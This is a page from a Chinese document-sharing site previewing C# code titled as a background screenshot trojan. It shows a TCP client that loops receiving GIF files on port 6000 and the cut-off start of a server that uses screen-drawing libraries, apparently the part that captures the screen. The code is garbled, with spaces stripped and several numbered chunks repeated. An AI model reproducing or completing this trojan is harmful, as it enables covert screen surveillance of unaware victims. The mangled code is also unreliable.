欢迎来到天天文库
浏览记录
ID:33329915
大小:48.50 KB
页数:8页
时间:2019-02-24
《c#后台截屏木马》由会员上传分享,免费在线阅读,更多相关内容在应用文档-天天文库。
1、usingSystem;usingSystem.Collections.Generic;usingSystem.Text;usingSystem.Net.Sockets;usingSystem.Net;usingSystem.Threading;usingSystem.IO;namespacesocketDemo{classClient{TcpClientclient;longfileLength;BinaryReaderreader;byte[]data=newbyte[8192];//准备工作pu
2、blicClient(IPAddressserverIp){intport=6000;intport1;int.TryParse(DateTime.Now.ToShortDateString().Replace("-","").Substring(2),outport1);client=newTcpClient();client.Connect(serverIp,port);Console.WriteLine("连上了");NetworkStreamstream=client.GetStream();
3、reader=newBinaryReader(stream);}//接收数据publicvoidrecv(){FileStreamfs=File.Create(DateTime.Now.Ticks+".gif");byte[]fileLengthSrc=newbyte[8];try{reader.Read(fileLengthSrc,0,8);longfileLength=getNum(fileLengthSrc);longreds=0;//已经读取字节数//开始传输while(reds4、ngth){if(fileLength-reds>data.Length){intred=reader.Read(data,0,data.Length);if(red==0)break;fs.Write(data,0,red);reds+=red;}elseif(fileLength-reds0){intred=reader.Read(data,0,data.Length);if(red==0)break;fs.Write(data,0,re5、d);reds+=red;}Thread.Sleep(10);}}catch(Exceptionex){Console.WriteLine("数据传输异常或者服务端已离线:"+ex.Message);}fs.Flush();fs.Close();reader.Close();client.Close();}staticlonggetNum(byte[]bytes)//二进制转十进制(我帖子里留言那位兄弟滴代码很牛x^_^){//long型数据类型为字节longnum=0;intn=Math.Min(b6、ytes.Length,4)-1;for(inti=n;i>-1;i--)num=(num<<8)7、bytes[i];//num=(num<<8)+bytes[i];returnnum;}}classProgram{staticvoidMain(string[]args){while(true){//args=newstring[]{"192.168.1.121"};IPAddressserverIp=newIPAddress(newbyte[]{127,0,0,1});//IPAddress.Try8、Parse("127.0.0.1",outserverIp);Clientc=newClient(serverIp);c.recv();Console.WriteLine("文件接收完成...");Thread.Sleep(5000);//Console.ReadKey();}}}}usingSystem;usingSystem.Collections.Generic;usingSystem.Text;usingSystem.Net;usingSystem.Net.Sockets;usingSyste9、m.Threading;usingSystem.IO;usingSystem.Drawing;usingSystem.Windows.Forms;namespacesocketDemoServer{//客户端线程classServerToClient{TcpClientclientSocket;BinaryWriterwriter;publicServerToClient(TcpClientclient){clientSocket=client;Netw
4、ngth){if(fileLength-reds>data.Length){intred=reader.Read(data,0,data.Length);if(red==0)break;fs.Write(data,0,red);reds+=red;}elseif(fileLength-reds0){intred=reader.Read(data,0,data.Length);if(red==0)break;fs.Write(data,0,re
5、d);reds+=red;}Thread.Sleep(10);}}catch(Exceptionex){Console.WriteLine("数据传输异常或者服务端已离线:"+ex.Message);}fs.Flush();fs.Close();reader.Close();client.Close();}staticlonggetNum(byte[]bytes)//二进制转十进制(我帖子里留言那位兄弟滴代码很牛x^_^){//long型数据类型为字节longnum=0;intn=Math.Min(b
6、ytes.Length,4)-1;for(inti=n;i>-1;i--)num=(num<<8)
7、bytes[i];//num=(num<<8)+bytes[i];returnnum;}}classProgram{staticvoidMain(string[]args){while(true){//args=newstring[]{"192.168.1.121"};IPAddressserverIp=newIPAddress(newbyte[]{127,0,0,1});//IPAddress.Try
8、Parse("127.0.0.1",outserverIp);Clientc=newClient(serverIp);c.recv();Console.WriteLine("文件接收完成...");Thread.Sleep(5000);//Console.ReadKey();}}}}usingSystem;usingSystem.Collections.Generic;usingSystem.Text;usingSystem.Net;usingSystem.Net.Sockets;usingSyste
9、m.Threading;usingSystem.IO;usingSystem.Drawing;usingSystem.Windows.Forms;namespacesocketDemoServer{//客户端线程classServerToClient{TcpClientclientSocket;BinaryWriterwriter;publicServerToClient(TcpClientclient){clientSocket=client;Netw
此文档下载收益归作者所有